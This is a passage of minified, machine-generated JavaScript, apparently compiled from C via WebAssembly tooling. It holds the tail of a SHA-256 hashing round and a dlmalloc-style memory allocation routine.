L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, _ = eA(z = K + A | 0, 26) ^ eA(z, 21), _ = (((m + t | 0) + (Y ^ z & (Y ^ X)) | 0) + (eA(z, 7) ^ _) | 0) - 694614492 | 0, L = j + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, j = eA(m = _ + L | 0, 26) ^ eA(m, 21), j = (((Y + y | 0) + (X ^ m & (X ^ z)) | 0) + (eA(m, 7) ^ j) | 0) - 200395387 | 0, J = v + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, v = eA(Y = j + J | 0, 26) ^ eA(Y, 21), IA = 275423344 + (((X + d | 0) + (z ^ Y & (m ^ z)) | 0) + (eA(Y, 7) ^ v) | 0) | 0, A = O + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, v = eA(X = IA + A | 0, 26) ^ eA(X, 21), O = 430227734 + (((z + s | 0) + (m ^ X & (Y ^ m)) | 0) + (eA(X, 7) ^ v) | 0) | 0, L = K + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, v = eA(z = O + L | 0, 26) ^ eA(z, 21), K = 506948616 + (((m + N | 0) + (Y ^ z & (Y ^ X)) | 0) + (eA(z, 7) ^ v) | 0) | 0, J = _ + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, v = eA(m = K + J | 0, 26) ^ eA(m, 21), _ = 659060556 + (((Y + dA | 0) + (X ^ m & (X ^ z)) | 0) + (eA(m, 7) ^ v) | 0) | 0, A = j + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, Y = eA(v = _ + A | 0, 26) ^ eA(v, 21), j = 883997877 + (((X + u | 0) + (z ^ v & (m ^ z)) | 0) + (eA(v, 7) ^ Y) | 0) | 0, L = IA + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, Y = eA(X = j + L | 0, 26) ^ eA(X, 21), Y = (IA = 958139571 + (((z + w | 0) + (m ^ X & (m ^ v)) | 0) + (eA(X, 7) ^ Y) | 0) | 0) + (J = O + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0) | 0, O = (((eA(f, 14) ^ f >>> 3 ^ eA(f, 25)) + a | 0) + s | 0) + (eA(k, 13) ^ k >>> 10 ^ eA(k, 15)) | 0, nA = 1322822218 + (((m + k | 0) + (v ^ Y & (X ^ v)) | 0) + (eA(Y, 26) ^ eA(Y, 21) ^ eA(Y, 7)) | 0) | 0, A = K + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, z = eA(m = nA + A | 0, 26) ^ eA(m, 21), K = 1537002063 + (((v + G | 0) + (X ^ m & (Y ^ X)) | 0) + (eA(m, 7) ^ z) | 0) | 0, L = _ + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, v = eA(z = K + L | 0, 26) ^ eA(z, 21), _ = 1747873779 + (((X + O | 0) + (Y ^ z & (Y ^ m)) | 0) + (eA(z, 7) ^ v) | 0) | 0, J = j + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, v = eA(X = _ + J | 0, 26) ^ eA(X, 21), Y = (j = 1955562222 + (((Y + R | 0) + (m ^ X & (m ^ z)) | 0) + (eA(X, 7) ^ v) | 0) | 0) + (A = IA + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0) | 0, x = ((eA($, 14) ^ $ >>> 3 ^ eA($, 25)) + c | 0) + w | 0, $ = (((eA(D, 14) ^ D >>> 3 ^ eA(D, 25)) + e | 0) + dA | 0) + (eA(O, 13) ^ O >>> 10 ^ eA(O, 15)) | 0, v = x + (eA($, 13) ^ $ >>> 10 ^ eA($, 15)) | 0, $ = 2024104815 + (((m + $ | 0) + (z ^ Y & (X ^ z)) | 0) + (eA(Y, 26) ^ eA(Y, 21) ^ eA(Y, 7)) | 0) | 0, L = nA + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0, IA = eA(m = $ + L | 0, 26) ^ eA(m, 21), IA = (((z + M | 0) + (X ^ m & (Y ^ X)) | 0) + (eA(m, 7) ^ IA) | 0) - 2067236844 | 0, J = K + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, K = eA(z = IA + J | 0, 26) ^ eA(z, 21), K = (((X + v | 0) + (Y ^ z & (Y ^ m)) | 0) + (eA(z, 7) ^ K) | 0) - 1933114872 | 0, A = _ + ((A & (L | J) | L & J) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, _ = eA(X = K + A | 0, 26) ^ eA(X, 21), Y = (_ = (((Y + q | 0) + (m ^ X & (m ^ z)) | 0) + (eA(X, 7) ^ _) | 0) - 1866530822 | 0) + (L = j + ((L & (A | J) | A & J) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0) | 0) | 0, C[I + 28 >> 2] = Y + p, J = $ + ((J & (A | L) | A & L) + (eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) | 0) | 0, A = IA + ((eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) + (A & (L | J) | L & J) | 0) | 0, L = K + ((eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) + (L & (A | J) | A & J) | 0) | 0, $ = _ + ((eA(L, 30) ^ eA(L, 19) ^ eA(L, 10)) + (J & (A | L) | A & L) | 0) | 0, C[I + 12 >> 2] = $ + U, m = (x = J) + (J = ((((v = (((eA(y, 14) ^ y >>> 3 ^ eA(y, 25)) + t | 0) + G | 0) + (eA(v, 13) ^ v >>> 10 ^ eA(v, 15)) | 0) + m | 0) + (z ^ Y & (X ^ z)) | 0) + (eA(Y, 26) ^ eA(Y, 21) ^ eA(Y, 7)) | 0) - 1538233109 | 0) | 0, C[I + 24 >> 2] = m + l, J = J + ((A & (L | $) | L & $) + (eA($, 30) ^ eA($, 19) ^ eA($, 10)) | 0) | 0, C[I + 8 >> 2] = J + S, z = (x = A) + (A = (((z + ((O + ((eA(d, 14) ^ d >>> 3 ^ eA(d, 25)) + y | 0) | 0) + (eA(q, 13) ^ q >>> 10 ^ eA(q, 15)) | 0) | 0) + (X ^ m & (Y ^ X)) | 0) + (eA(m, 26) ^ eA(m, 21) ^ eA(m, 7)) | 0) - 1090935817 | 0) | 0, C[I + 20 >> 2] = z + H, A = A + ((L & (J | $) | J & $) + (eA(J, 30) ^ eA(J, 19) ^ eA(J, 10)) | 0) | 0, C[I + 4 >> 2] = A + h, iA = L + iA | 0, L = (((X + ((((eA(s, 14) ^ s >>> 3 ^ eA(s, 25)) + d | 0) + R | 0) + (eA(v, 13) ^ v >>> 10 ^ eA(v, 15)) | 0) | 0) + (Y ^ z & (Y ^ m)) | 0) + (eA(z, 26) ^ eA(z, 21) ^ eA(z, 7)) | 0) - 965641998 | 0, C[I + 16 >> 2] = iA + L, C[I >> 2] = L + ((QA + ($ & (A | J) | A & J) | 0) + (eA(A, 30) ^ eA(A, 19) ^ eA(A, 10)) | 0)
                                            }
            
                                            function d(A) {
                                                var I, g = 0,
                                                    B = 0,
                                                    Q = 0,
                                                    E = 0,
                                                    i = 0,
                                                    o = 0,
                                                    a = 0,
                                                    e = 0,
                                                    c = 0,
                                                    t = 0;
                                                D = I = D - 16 | 0;
                                                A: {
                                                    I: {
                                                        g: {
                                                            B: {
                                                                Q: {
                                                                    E: {
                                                                        i: {
                                                                            C: {
                                                                                n: {
                                                                                    o: {
                                                                                        r: {
                                                                                            if ((A |= 0) >>> 0 <= 244) {
                                                                                                if (3 & (g = (i = C[728]) >>> (A = (o = A >>> 0 < 11 ? 16 : A + 11 & -8) >>> 3 | 0) | 0)) {
                                                                                                    A = (g = C[(E = (B = A + (1 & (-1 ^ g)) | 0) << 3) + 2960 >> 2]) + 8 | 0, (0 | (Q = C[g + 8 >> 2])) != (0 | (E = E + 2952 | 0)) ? (C[Q + 12 >> 2] = E, C[E + 8 >> 2] = Q) : C[728] = eA(-2, B) & i, B <<= 3, C[g + 4 >> 2] = 3 | B, C[(g = g + B | 0) + 4 >> 2] = 1 | C[g + 4 >> 2];
                                                                                                    break A
                                                                                                }
                                                                                                if (o >>> 0 <= (e = C[730]) >>> 0) break r;
                                                                                                if (g) {
                                                                                                    B = g = (A = (0 - (A = (0 - (B = 2 << A) | B) & g << A) & A) - 1 | 0) >>> 12 & 16, B |= g = (A = A >>> g | 0) >>> 5 & 8, B |= g = (A = A >>> g | 0) >>> 2 & 4, g = C[(Q = (B = ((B |= g = (A = A >>> g | 0) >>> 1 & 2) | (g = (A = A >>> g | 0) >>> 1 & 1)) + (A >>> g | 0) | 0) << 3) + 2960 >> 2], (0 | (A = C[g + 8 >> 2])) != (0 | (Q = Q + 2952 | 0)) ? (C[A + 12 >> 2] = Q, C[Q + 8 >> 2] = A) : (i = eA(-2, B) & i, C[728] = i), A = g + 8 | 0, C[g + 4 >> 2] = 3 | o, E = (B <<= 3) - o | 0, C[(a = g + o | 0) + 4 >> 2] = 1 | E, C[g + B >> 2] = E, e && (g = 2952 + ((B = e >>> 3 | 0) << 3) | 0, Q = C[733], (B = 1 << B) & i ? B = C[g + 8 >> 2] : (C[728] = B | i, B = g), C[g + 8 >> 2] = Q, C[B + 12 >> 2] = Q, C[Q + 12 >> 2] = g, C[Q + 8 >> 2] = B), C[733] = a, C[730] = E;
                                                                                                    break A
                                                                                                }
                                                                                                if (!(t = C[729])) break r;
                                                                                                for (B = g = (A = (t & 0 - t) - 1 | 0) >>> 12 & 16, B |= g = (A = A >>> g | 0) >>> 5 & 8, B |= g = (A = A >>> g | 0) >>> 2 & 4, g = C[3216 + (((B |= g = (A = A >>> g | 0) >>> 1 & 2) | (g = (A = A >>> g | 0) >>> 1 & 1)) + (A >>> g | 0) << 2) >> 2], Q = (-8 & C[g + 4 >> 2]) - o | 0, B = g;
                                                                                                    (A = C[B + 16 >> 2]) || (A = C[B + 20 >> 2]);) Q = (B = (E = (-8 & C[A + 4 >> 2]) - o | 0) >>> 0 < Q >>> 0) ? E : Q, g = B ? A : g, B = A;
                                                                                                if (c = C[g + 24 >> 2], (0 | (E = C[g + 12 >> 2])) != (0 | g)) {
                                                                                                    A = C[g + 8 >> 2], C[A + 12 >> 2] = E, C[E + 8 >> 2] = A;
                                                                                                    break I
                                                                                                }
                                                                                                if (!(A = C[(B = g + 20 | 0) >> 2])) {
                                                                                                    if (!(A = C[g + 16 >> 2])) break o;
                                                                                                    B = g + 16 | 0
                                                                                                }
                                                                                                for (; a = B, E = A, (A = C[(B = A + 20 | 0) >> 2]) || (B = E + 16 | 0, A = C[E + 16 >> 2]););
                                                                                                C[a >> 2] = 0;
                                                                                                break I
                                                                                            }
                                                                                            if (o = -1, !(A >>> 0 > 4294967231) && (o = -8 & (g = A + 11 | 0), e = C[729])) {
                                                                                                B = 0 - o | 0, i = 0, (g = g >>> 8 | 0) && (i = 31, o >>> 0 > 16777215 || (i = 28 + ((A = ((i = (g <<= Q = g + 1048320 >>> 16 & 8) << (A = g + 520192 >>> 16 & 4)) << (g = i + 245760 >>> 16 & 2) >>> 15 | 0) - (g | A | Q) | 0) << 1 | o >>> A + 21 & 1) | 0));
                                                                                                a: {
                                                                                                    e: {
                                                                                                        if (Q = C[3216 + (i << 2) >> 2])
                                                                                                            for (g = o << (31 == (0 | i) ? 0 : 25 - (i >>> 1 | 0) | 0), A = 0;;) {
                                                                                                                if (!((a = (-8 & C[Q + 4 >> 2]) - o | 0) >>> 0 >= B >>> 0 || (E = Q, B = a))) {
                                                                                                                    B = 0, A = Q;
                                                                                                                    break e
                                                                                                                }
                                                                                                                if (a = C[Q + 20 >> 2], Q = C[16 + ((g >>> 29 & 4) + Q | 0) >> 2], A = a ? (0 | a) == (0 | Q) ? A : a : A, g <<= 0 != (0 | Q), !Q) break
                                                                                                            } else A = 0;
                                                                                                        if (!(A | E)) {
                                                                                                            if (!(A = (0 - (A = 2 << i) | A) & e)) break r;
                                                                                                            Q = g = (A = (A & 0 - A) - 1 | 0) >>> 12 & 16, Q |= g = (A = A >>> g | 0) >>> 5 & 8, Q |= g = (A = A >>> g | 0) >>> 2 & 4, A = C[3216 + (((Q |= g = (A = A >>> g | 0) >>> 1 & 2) | (g = (A = A >>> g | 0) >>> 1 & 1)) + (A >>> g | 0) << 2) >> 2]
                                                                                                        }
                                                                                                        if (!A) break a
                                                                                                    }
                                                                                                    for (; B = (g = (Q = (-8 & C[A + 4 >> 2]) - o | 0) >>> 0 < B >>> 0) ? Q : B, E = g ? A : E, A = (g = C[A + 16 >> 2]) || C[A + 20 >> 2];);
                                                                                                }
                                                                                                if (!(!E | B >>> 0 >= C[730] - o >>> 0)) {
                                                                                                    if (a = C[E + 24 >> 2], (0 | E) != (0 | (g = C[E + 12 >> 2]))) {
                                                                                                        A = C[E + 8 >> 2], C[A + 12 >> 2] = g, C[g + 8 >> 2] = A;
                                                                                                        break g
                                                                                                    }
                                                                                                    if (!(A = C[(Q = E + 20 | 0) >> 2])) {
                                                                                                        if (!(A = C[E + 16 >> 2])) break n;
                                                                                                        Q = E + 16 | 0
                                                                                                    }
                                                                                                    for (; i = Q, g = A, (A = C[(Q = A + 20 | 0) >> 2]) || (Q = g + 16 | 0, A = C[g + 16 >> 2]););
                                                                                                    C[i >> 2] = 0;
                                                                                                    break g
                                                                                                }
                                                                                            }
                                                                                        }
                                                                                        if ((g = C[730]) >>> 0 >= o >>> 0) {
                                                                                            A = C[733], (B = g - o | 0) >>> 0 >= 16 ? (C[730] = B, Q = A + o | 0, C[733] = Q, C[Q + 4 >> 2] = 1 | B, C[A + g >> 2] = B, C[A + 4 >> 2] = 3 | o) : (C[733] = 0, C[730] = 0, C[A + 4 >> 2] = 3 | g, C[(g = A + g | 0) + 4 >> 2] = 1 | C[g + 4 >> 2]), A = A + 8 | 0;
                                                                                            break A
                                                                                        }
                                                                                        if ((Q = C[731]) >>> 0 > o >>> 0) {
                                                                                            g = Q - o | 0, C[731] = g, B = (A = C[734]) + o | 0, C[734] = B, C[B + 4 >> 2] = 1 | g, C[A + 4 >> 2] = 3 | o, A = A + 8 | 0;
                                                                                            break A
                                                                                        }
                                                                                        if (A = 0, B = E = o + 47 | 0, C[846] ? g = C[848] : (C[849] = -1, C[850] = -1, C[847] = 4096, C[848] = 4096, C[846] = I + 12 & -16 ^ 1431655768, C[851] = 0, C[839] = 0, g = 4096), (B = (i = B + g | 0) & (a = 0 - g | 0)) >>> 0 <= o >>> 0) break A;
                                                                                        if ((g = C[838]) && (c = (e = C[836]) + B | 0) >>> 0 <= e >>> 0 | c >>> 0 > g >>> 0) break A;
                                                                                        if (4 & n[3356]) break E;r: {
                                                                                            a: {
                                                                                                if (g = C[734])
                                                                                                    for (A = 3360;;) {
                                                                                                        if ((e = C[A >> 2]) + C[A + 4 >> 2] >>> 0 > g >>> 0 && e >>> 0 <= g >>> 0) break a;
                                                                                                        if (!(A = C[A + 8 >> 2])) break
                                                                                                    }
                                                                                                if (-1 == (0 | (g = IA(0)))) break i;
                                                                                                if (i = B, (Q = (A = C[847]) + -1 | 0) & g && (i = (B - g | 0) + (g + Q & 0 - A) | 0), i >>> 0 <= o >>> 0 | i >>> 0 > 2147483646) break i;
                                                                                                if ((A = C[838]) && (a = (Q = C[836]) + i | 0) >>> 0 <= Q >>> 0 | a >>> 0 > A >>> 0) break i;
                                                                                                if ((0 | g) != (0 | (A = IA(i)))) break r;
                                                                                                break Q
                                                                                            }
                                                                                            if ((i = a & i - Q) >>> 0 > 2147483646) break i;
                                                                                            if ((0 | (g = IA(i))) == (C[A >> 2] + C[A + 4 >> 2] | 0)) break C;A = g
                                                                                        }
                                                                                        if (!(-1 == (0 | A) | o + 48 >>> 0 <= i >>> 0)) {
                                                                                            if ((g = (g = C[848]) + (E - i | 0) & 0 - g) >>> 0 > 2147483646) {
                                                                                                g = A;
                                                                                                break Q
                                                                                            }
                                                                                            if (-1 != (0 | IA(g))) {
                                                                                                i = g + i | 0, g = A;
                                                                                                break Q
                                                                                            }
                                                                                            IA(0 - i | 0);
                                                                                            break i
                                                                                        }
                                                                                        if (g = A, -1 != (0 | A)) break Q;
                                                                                        break i
                                                                                    }
                                                                                    E = 0;
                                                                                    break I
                                                                                }
                                                                                g = 0;
                                                                                break g
                                                                            }
                                                                            if (-1 != (0 | g)) break Q
                                                                        }
                                                                        C[839] = 4 | C[839]
                                                                    }
                                                                    if (B >>> 0 > 2147483646) break B;
                                                                    if ((g = IA(B)) >>> 0 >= (A = IA(0)) >>> 0 | -1 == (0 | g) | -1 == (0 | A)) break B;
                                                                    if ((i = A - g | 0) >>> 0 <= o + 40 >>> 0) break B
                                                                }
                                                                A = C[836] + i | 0,
                                                                C[836] = A,
                                                                A >>> 0 > r[837] && (C[837] = A);Q: {
                                                                    E: {
                                                                        i: {
                                                                            if (B = C[734]) {
                                                                                for (A = 3360;;) {
                                                                                    if (((Q = C[A >> 2]) + (E = C[A + 4 >> 2]) | 0) == (0 | g)) break i;
                                                                                    if (!(A = C[A + 8 >> 2])) break
                                                                                }
                                                                                break E
                                                                            }
                                                                            for (g >>> 0 >= (A = C[732]) >>> 0 && A || (C[732] = g), A = 0, C[841] = i, C[840] = g, C[736] = -1, C[737] = C[846], C[843] = 0; Q = (B = A << 3) + 2952 | 0, C[B + 2960 >> 2] = Q, C[B + 2964 >> 2] = Q, 32 != (0 | (A = A + 1 | 0)););Q = (A = i + -40 | 0) - (B = g + 8 & 7 ? -8 - g & 7 : 0) | 0,
                                                                            C[731] = Q,
                                                                            B = g + B | 0,
                                                                            C[734] = B,
                                                                            C[B + 4 >> 2] = 1 | Q,
                                                                            C[4 + (A + g | 0) >> 2] = 40,
                                                                            C[735] = C[850];
                                                                            break Q
                                                                        }
                                                                        if (!(8 & n[A + 12 | 0] | g >>> 0 <= B >>> 0 | Q >>> 0 > B >>> 0)) {
                                                                            C[A + 4 >> 2] = E + i, g = (A = B + 8 & 7 ? -8 - B & 7 : 0) + B | 0, C[734] = g, A = (Q = C[731] + i | 0) - A | 0, C[731] = A, C[g + 4 >> 2] = 1 | A, C[4 + (B + Q | 0) >> 2] = 40, C[735] = C[850];
                                                                            break Q
                                                                        }
                                                                    }
                                                                    g >>> 0 < (E = C[732]) >>> 0 && (C[732] = g, E = 0),
                                                                    Q = g + i | 0,
                                                                    A = 3360;E: {
                                                                        i: {
                                                                            C: {
                                                                                n: {
                                                                                    o: {
                                                                                        r: {
                                                                                            for (;;) {
                                                                                                if ((0 | Q) != C[A >> 2]) {
                                                                                                    if (A = C[A + 8 >> 2]) continue;
                                                                                                    break r
                                                                                                }
                                                                                                break
                                                                                            }
                                                                                            if (!(8 & n[A + 12 | 0])) break o
                                                                                        }
                                                                                        for (A = 3360;;) {
                                                                                            if ((Q = C[A >> 2]) >>> 0 <= B >>> 0 && (E = Q + C[A + 4 >> 2] | 0) >>> 0 > B >>> 0) break n;
                                                                                            A = C[A + 8 >> 2]
                                                                                        }
                                                                                    }
                                                                                    if (C[A >> 2] = g, C[A + 4 >> 2] = C[A + 4 >> 2] + i, C[(c = (g + 8 & 7 ? -8 - g & 7 : 0) + g | 0) + 4 >> 2] = 3 | o, A = ((g = Q + (Q + 8 & 7 ? -8 - Q & 7 : 0) | 0) - c | 0) - o | 0, a = o + c | 0, (0 | g) == (0 | B)) {
                                                                                        C[734] = a, A = C[731] + A | 0, C[731] = A, C[a + 4 >> 2] = 1 | A;
                                                                                        break i
                                                                                    }
                                                                                    if (C[733] == (0 | g)) {
                                                                                        C[733] = a, A = C[730] + A | 0, C[730] = A, C[a + 4 >> 2] = 1 | A, C[A + a >> 2] = A;
                                                                                        break i
                                                                                    }
                                                                                    if (1 == (3 & (B = C[g + 4 >> 2]))) {
                                                                                        t = -8 & B;
                                                                                        o: if (B >>> 0 <= 255) {
                                                                                            if (E = B >>> 3 | 0, B = C[g + 8 >> 2], (0 | (Q = C[g + 12 >> 2])) == (0 | B)) {
                                                                                                C[728] = C[728] & eA(-2, E);
                                                                                                break o
                                                                                            }
                                                                                            C[B + 12 >> 2] = Q, C[Q + 8 >> 2] = B
                                                                                        } else {
                                                                                            if (e = C[g + 24 >> 2], (0 | (i = C[g + 12 >> 2])) == (0 | g))
                                                                                                if ((o = C[(Q = g + 20 | 0) >> 2]) || (o = C[(Q = g + 16 | 0) >> 2])) {
                                                                                                    for (; B = Q, i = o, (o = C[(Q = o + 20 | 0) >> 2]) || (Q = i + 16 | 0, o = C[i + 16 >> 2]););
                                                                                                    C[B >> 2] = 0
                                                                                                } else i = 0;
                                                                                            else B = C[g + 8 >> 2], C[B + 12 >> 2] = i, C[i + 8 >> 2] = B;
                                                                                            if (e) {
                                                                                                B = C[g + 28 >> 2];
                                                                                                r: {
                                                                                                    if (C[(Q = 3216 + (B << 2) | 0) >> 2] == (0 | g)) {
                                                                                                        if (C[Q >> 2] = i, i) break r;
                                                                                                        C[729] = C[729] & eA(-2, B);
                                                                                                        break o
                                                                                                    }
                                                                                                    if (C[e + (C[e + 16 >> 2] == (0 | g) ? 16 : 20) >> 2] = i, !i) break o
                                                                                                }
                                                                                                C[i + 24 >> 2] = e, (B = C[g + 16 >> 2]) && (C[i + 16 >> 2] = B, C[B + 24 >> 2] = i), (B = C[g + 20 >> 2]) && (C[i + 20 >> 2] = B, C[B + 24 >> 2] = i)
                                                                                            }
                                                                                        } g = g + t | 0, A = A + t | 0
                                                                                    }
                                                                                    if (C[g + 4 >> 2] = -2 & C[g + 4 >> 2], C[a + 4 >> 2] = 1 | A, C[A + a >> 2] = A, A >>> 0 <= 255) {
                                                                                        A = 2952 + ((g = A >>> 3 | 0) << 3) | 0, (B = C[728]) & (g = 1 << g) ? g = C[A + 8 >> 2] : (C[728] = g | B, g = A), C[A + 8 >> 2] = a, C[g + 12 >> 2] = a, C[a + 12 >> 2] = A, C[a + 8 >> 2] = g;
                                                                                        break i
                                                                                    }
                                                                                    if (g = 0, (Q = A >>> 8 | 0) && (g = 31, A >>> 0 > 16777215 || (g = 28 + ((g = ((o = (Q <<= E = Q + 1048320 >>> 16 & 8) << (g = Q + 520192 >>> 16 & 4)) << (Q = o + 245760 >>> 16 & 2) >>> 15 | 0) - (Q | g | E) | 0) << 1 | A >>> g + 21 & 1) | 0)), C[(B = a) + 28 >> 2] = g, C[a + 16 >> 2] = 0, C[a + 20 >> 2] = 0, B = 3216 + (g << 2) | 0, (Q = C[729]) & (E = 1 << g)) {
                                                                                        for (Q = A << (31 == (0 | g) ? 0 : 25 - (g >>> 1 | 0) | 0), g = C[B >> 2];;) {
                                                                                            if (B = g, (-8 & C[g + 4 >> 2]) == (0 | A)) break C;
                                                                                            if (g = Q >>> 29 | 0, Q <<= 1, !(g = C[(E = (4 & g) + B | 0) + 16 >> 2])) break
                                                                                        }
                                                                                        C[E + 16 >> 2] = a
                                                                                    } else C[729] = Q | E,
                                                                                    C[B >> 2] = a;C[a + 24 >> 2] = B,
                                                                                    C[a + 12 >> 2] = a,
                                                                                    C[a + 8 >> 2] = a;
                                                                                    break i
                                                                                }
                                                                                for (a = (A = i + -40 | 0) - (Q = g + 8 & 7 ? -8 - g & 7 : 0) | 0, C[731] = a, Q = g + Q | 0, C[734] = Q, C[Q + 4 >> 2] = 1 | a, C[4 + (A + g | 0) >> 2] = 40, C[735] = C[850], C[(Q = (A = (E + (E + -39 & 7 ? 39 - E & 7 : 0) | 0) - 47 | 0) >>> 0 < B + 16 >>> 0 ? B : A) + 4 >> 2] = 27, A = C[843], C[Q + 16 >> 2] = C[842], C[Q + 20 >> 2] = A, A = C[841], C[Q + 8 >> 2] = C[840], C[Q + 12 >> 2] = A, C[842] = Q + 8, C[841] = i, C[840] = g, C[843] = 0, A = Q + 24 | 0; C[A + 4 >> 2] = 7, g = A + 8 | 0, A = A + 4 | 0, E >>> 0 > g >>> 0;);
                                                                                if ((0 | B) == (0 | Q)) break Q;
                                                                                if (C[Q + 4 >> 2] = -2 & C[Q + 4 >> 2], E = Q - B | 0, C[B + 4 >> 2] = 1 | E, C[Q >> 2] = E, E >>> 0 <= 255) {
                                                                                    A = 2952 + ((g = E >>> 3 | 0) << 3) | 0, (Q = C[728]) & (g = 1 << g) ? g = C[A + 8 >> 2] : (C[728] = g | Q, g = A), C[A + 8 >> 2] = B, C[g + 12 >> 2] = B, C[B + 12 >> 2] = A, C[B + 8 >> 2] = g;
                                                                                    break Q
                                                                                }
                                                                                if (C[B + 16 >> 2] = 0, C[B + 20 >> 2] = 0, A = 0, (Q = E >>> 8 | 0) && (A = 31, E >>> 0 > 16777215 || (A = 28 + ((A = ((a = (Q <<= i = Q + 1048320 >>> 16 & 8) << (A = Q + 520192 >>> 16 & 4)) << (Q = a + 245760 >>> 16 & 2) >>> 15 | 0) - (Q | A | i) | 0) << 1 | E >>> A + 21 & 1) | 0)), C[(g = B) + 28 >> 2] = A, g = 3216 + (A << 2) | 0, (Q = C[729]) & (i = 1 << A)) {
                                                                                    for (A = E << (31 == (0 | A) ? 0 : 25 - (A >>> 1 | 0) | 0), g = C[g >> 2];;) {
                                                                                        if (Q = g, (0 | E) == (-8 & C[g + 4 >> 2])) break E;
                                                                                        if (g = A >>> 29 | 0, A <<= 1, !(g = C[(i = Q + (4 & g) | 0) + 16 >> 2])) break
                                                                                    }
                                                                                    C[i + 16 >> 2] = B, C[B + 24 >> 2] = Q
                                                                                } else C[729] = Q | i,
                                                                                C[g >> 2] = B,
                                                                                C[B + 24 >> 2] = g;C[B + 12 >> 2] = B,
                                                                                C[B + 8 >> 2] = B;
                                                                                break Q
                                                                            }
                                                                            A = C[B + 8 >> 2],
                                                                            C[A + 12 >> 2] = a,
                                                                            C[B + 8 >> 2] = a,
                                                                            C[a + 24 >> 2] = 0,
                                                                            C[a + 12 >> 2] = B,
                                                                            C[a + 8 >> 2] = A
                                                                        }
                                                                        A = c + 8 | 0;
                                                                        break A
                                                                    }
                                                                    A = C[Q + 8 >> 2],
                                                                    C[A + 12 >> 2] = B,
                                                                    C[Q + 8 >> 2] = B,
                                                                    C[B + 24 >> 2] = 0,
                                                                    C[B + 12 >> 2] = Q,
                                                                    C[B + 8 >> 2] = A
                                                                }
                                                                if (!((A = C[731]) >>> 0 <= o >>> 0)) {
                                                                    g = A - o | 0, C[731] = g, B = (A = C[734]) + o | 0, C[734] = B, C[B + 4 >> 2] = 1 | g, C[A + 4 >> 2] = 3 | o, A = A + 8 | 0;
                                                                    break A
                                                                }
                                                            }
                                                            C[727] = 48,
                                                            A = 0;
                                                            break A
                                                        }
                                                        g: if (a) {
                                                            A = C[E + 28 >> 2];
                                                            B: {
                                                                if (C[(Q = 3216 + (A << 2) | 0) >> 2] == (0 | E)) {
                                                                    if (C[Q >> 2] = g, g) break B;
                                                                    e = eA(-2, A) & e, C[729] = e;
                                                                    break g
                                                                }
                                                                if (C[a + (C[a + 16 >> 2] == (0 | E) ? 16 : 20) >> 2] = g, !g) break g
                                                            }
                                                            C[g + 24 >> 2] = a, (A = C[E + 16 >> 2]) && (C[g + 16 >> 2] = A, C[A + 24 >> 2] = g), (A = C[E + 20 >> 2]) && (C[g + 20 >> 2] = A, C[A + 24 >> 2] = g)
                                                        }g: if (B >>> 0 <= 15) A = B + o | 0, C[E + 4 >> 2] = 3 | A, C[(A = A + E | 0) + 4 >> 2] = 1 | C[A + 4 >> 2];
                                                            else if (C[E + 4 >> 2] = 3 | o, C[(Q = E + o | 0) + 4 >> 2] = 1 | B, C[B + Q >> 2] = B, B >>> 0 <= 255) A = 2952 + ((g = B >>> 3 | 0) << 3) | 0,
                                                        (B = C[728]) & (g = 1 << g) ? g = C[A + 8 >> 2] : (C[728] = g | B, g = A),
                                                        C[A + 8 >> 2] = Q,
                                                        C[g + 12 >> 2] = Q,
                                                        C[Q + 12 >> 2] = A,
                                                        C[Q + 8 >> 2] = g;
                                                        else {
                                                            A = 0, (o = B >>> 8 | 0) && (A = 31, B >>> 0 > 16777215 || (A = 28 + ((A = ((a = (o <<= i = o + 1048320 >>> 16 & 8) << (A = o + 520192 >>> 16 & 4)) << (o = a + 245760 >>> 16 & 2) >>> 15 | 0) - (o | A | i) | 0) << 1 | B >>> A + 21 & 1) | 0)), C[(g = Q) + 28 >> 2] = A, C[Q + 16 >> 2] = 0, C[Q + 20 >> 2] = 0, g = 3216 + (A << 2) | 0;
                                                            B: {
                                                                if ((o = 1 << A) & e) {
                                                                    for (A = B << (31 == (0 | A) ? 0 : 25 - (A >>> 1 | 0) | 0), o = C[g >> 2];;) {
                                                                        if ((-8 & C[(g = o) + 4 >> 2]) == (0 | B)) break B;
                                                                        if (o = A >>> 29 | 0, A <<= 1, !(o = C[(i = (4 & o) + g | 0) + 16 >> 2])) break
                                                                    }
                                                                    C[i + 16 >> 2] = Q
                                                                } else C[729] = o | e,
                                                                C[g >> 2] = Q;C[Q + 24 >> 2] = g,
                                                                C[Q + 12 >> 2] = Q,
                                                                C[Q + 8 >> 2] = Q;
                                                                break g
                                                            }
                                                            A = C[g + 8 >> 2], C[A + 12 >> 2] = Q, C[g + 8 >> 2] = Q, C[Q + 24 >> 2] = 0, C[Q + 12 >> 2] = g, C[Q + 8 >> 2] = A
                                                        }
                                                        A = E + 8 | 0;
                                                        break A
                                                    }
